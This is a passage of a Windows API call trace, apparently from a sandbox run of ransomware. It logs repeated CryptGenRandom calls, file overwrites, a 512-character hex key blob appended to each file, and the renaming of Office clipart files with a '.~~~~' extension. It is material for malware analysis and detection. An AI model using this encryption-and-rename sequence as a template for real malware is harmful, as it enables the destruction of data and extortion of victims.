	[0112.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.912] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.912] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.912] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.912] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.913] CloseHandle (hObject=0x144) returned 1
	[0112.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cfea8
	[0112.913] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.~~~~")) returned 1
	[0112.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.914] GetLastError () returned 0x0
	[0112.914] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.915] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.915] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.916] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23290750278) returned 1
	[0112.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xace6f810, dwHighDateTime=0x1d60e1e)) 
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830790
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830790 | out: hHeap=0x300000) returned 1
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cfea8
	[0112.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833c78
	[0112.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.918] GetLastError () returned 0x0
	[0112.919] GetLastError () returned 0x0
	[0112.919] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.919] GetLastError () returned 0x0
	[0112.919] GetLastError () returned 0x0
	[0112.985] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbfb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.985] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4048, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4048, lpOverlapped=0x0) returned 1
	[0112.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.986] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.986] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.987] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.987] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.987] CloseHandle (hObject=0x144) returned 1
	[0112.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.~~~~")) returned 1
	[0112.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.988] GetLastError () returned 0x0
	[0112.988] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.990] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23298000062) returned 1
	[0112.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacf2def0, dwHighDateTime=0x1d60e1e)) 
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830918
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830918 | out: hHeap=0x300000) returned 1
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833d10
	[0112.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.991] GetLastError () returned 0x0
	[0112.991] GetLastError () returned 0x0
	[0112.991] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.991] GetLastError () returned 0x0
	[0112.991] GetLastError () returned 0x0
	[0112.994] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe36c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.994] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1c94, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1c94, lpOverlapped=0x0) returned 1
	[0112.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.995] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.995] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.995] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.995] CloseHandle (hObject=0x144) returned 1
	[0112.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.~~~~")) returned 1
	[0112.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.997] GetLastError () returned 0x0
	[0112.997] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.998] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.998] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.998] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23298851744) returned 1
	[0112.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacf2def0, dwHighDateTime=0x1d60e1e)) 
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830950
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830950 | out: hHeap=0x300000) returned 1
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834138
	[0112.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.999] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.000] GetLastError () returned 0x0
	[0113.000] GetLastError () returned 0x0
	[0113.000] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.000] GetLastError () returned 0x0
	[0113.000] GetLastError () returned 0x0
	[0113.002] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.003] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.004] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.004] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.004] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.004] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.004] CloseHandle (hObject=0x144) returned 1
	[0113.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.~~~~")) returned 1
	[0113.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.005] GetLastError () returned 0x0
	[0113.006] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.007] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.007] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.007] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23299711570) returned 1
	[0113.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacf54050, dwHighDateTime=0x1d60e1e)) 
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830988
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830988 | out: hHeap=0x300000) returned 1
	[0113.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28341d0
	[0113.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.008] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.008] GetLastError () returned 0x0
	[0113.008] GetLastError () returned 0x0
	[0113.008] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.008] GetLastError () returned 0x0
	[0113.008] GetLastError () returned 0x0
	[0113.010] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.011] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.012] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.012] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.012] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.012] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.012] CloseHandle (hObject=0x144) returned 1
	[0113.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.~~~~")) returned 1
	[0113.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.013] GetLastError () returned 0x0
	[0113.015] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.016] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.016] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.016] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23300620467) returned 1
	[0113.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacf7a1b0, dwHighDateTime=0x1d60e1e)) 
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28309f8
	[0113.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28309f8 | out: hHeap=0x300000) returned 1
	[0113.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28337b8
	[0113.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.017] GetLastError () returned 0x0
	[0113.017] GetLastError () returned 0x0
	[0113.017] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.017] GetLastError () returned 0x0
	[0113.017] GetLastError () returned 0x0
	[0113.019] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe89c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
